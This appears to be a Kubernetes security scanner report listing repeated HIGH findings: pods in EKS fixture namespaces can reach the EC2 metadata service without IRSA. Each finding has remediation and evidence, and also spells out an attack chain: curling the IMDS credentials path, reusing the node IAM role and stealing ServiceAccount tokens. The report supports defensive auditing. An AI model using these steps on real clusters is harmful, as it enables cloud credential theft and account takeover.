On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"netpol-imds/imds-open-app"
reason
"no-egress-policy"
sa
"netpol-imds/default"
workload
"Deployment/netpol-imds/imds-open-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "netpol-imds/imds-open-app",
  "reason": "no-egress-policy",
  "sa": "netpol-imds/default",
  "workload": "Deployment/netpol-imds/imds-open-app"
}
HIGH ServiceAccount/psa-suppressed/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/psa-suppressed/default Resource: Deployment/psa-suppressed/psa-priv-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"psa-suppressed/psa-priv-app"
reason
"no-egress-policy"
sa
"psa-suppressed/default"
workload
"Deployment/psa-suppressed/psa-priv-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "psa-suppressed/psa-priv-app",
  "reason": "no-egress-policy",
  "sa": "psa-suppressed/default",
  "workload": "Deployment/psa-suppressed/psa-priv-app"
}
HIGH ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"psa-unlabeled-fixtures/psa-unlabeled-app"
reason
"host-network"
sa
"psa-unlabeled-fixtures/sa-psa-unlabeled"
workload
"Deployment/psa-unlabeled-fixtures/psa-unlabeled-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "psa-unlabeled-fixtures/psa-unlabeled-app",
  "reason": "host-network",
  "sa": "psa-unlabeled-fixtures/sa-psa-unlabeled",
  "workload": "Deployment/psa-unlabeled-fixtures/psa-unlabeled-app"
}
HIGH ServiceAccount/containersec-fixtures/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default Resource: Deployment/containersec-fixtures/containersec-limits

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"containersec-fixtures/containersec-limits"
reason
"no-egress-policy"
sa
"containersec-fixtures/default"
workload
"Deployment/containersec-fixtures/containersec-limits"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "containersec-fixtures/containersec-limits",
  "reason": "no-egress-policy",
  "sa": "containersec-fixtures/default",
  "workload": "Deployment/containersec-fixtures/containersec-limits"
}
HIGH ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"pv-hostpath-fixtures/pv-hostpath-app"
reason
"no-egress-policy"
sa
"pv-hostpath-fixtures/sa-pv-hostpath"
workload
"Deployment/pv-hostpath-fixtures/pv-hostpath-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "pv-hostpath-fixtures/pv-hostpath-app",
  "reason": "no-egress-policy",
  "sa": "pv-hostpath-fixtures/sa-pv-hostpath",
  "workload": "Deployment/pv-hostpath-fixtures/pv-hostpath-app"
}
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: DaemonSet/rbac-fixtures/daemon-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"rbac-fixtures/daemon-app"
reason
"no-egress-policy"
sa
"rbac-fixtures/sa-pod-create"
workload
"DaemonSet/rbac-fixtures/daemon-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "rbac-fixtures/daemon-app",
  "reason": "no-egress-policy",
  "sa": "rbac-fixtures/sa-pod-create",
  "workload": "DaemonSet/rbac-fixtures/daemon-app"
}
HIGH ServiceAccount/containersec-fixtures/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default Resource: Deployment/containersec-fixtures/containersec-probes

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"containersec-fixtures/containersec-probes"
reason
"no-egress-policy"
sa
"containersec-fixtures/default"
workload
"Deployment/containersec-fixtures/containersec-probes"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "containersec-fixtures/containersec-probes",
  "reason": "no-egress-policy",
  "sa": "containersec-fixtures/default",
  "workload": "Deployment/containersec-fixtures/containersec-probes"
}
HIGH ServiceAccount/rbac-fixtures/sa-impersonate Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate Resource: Deployment/rbac-fixtures/imp-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
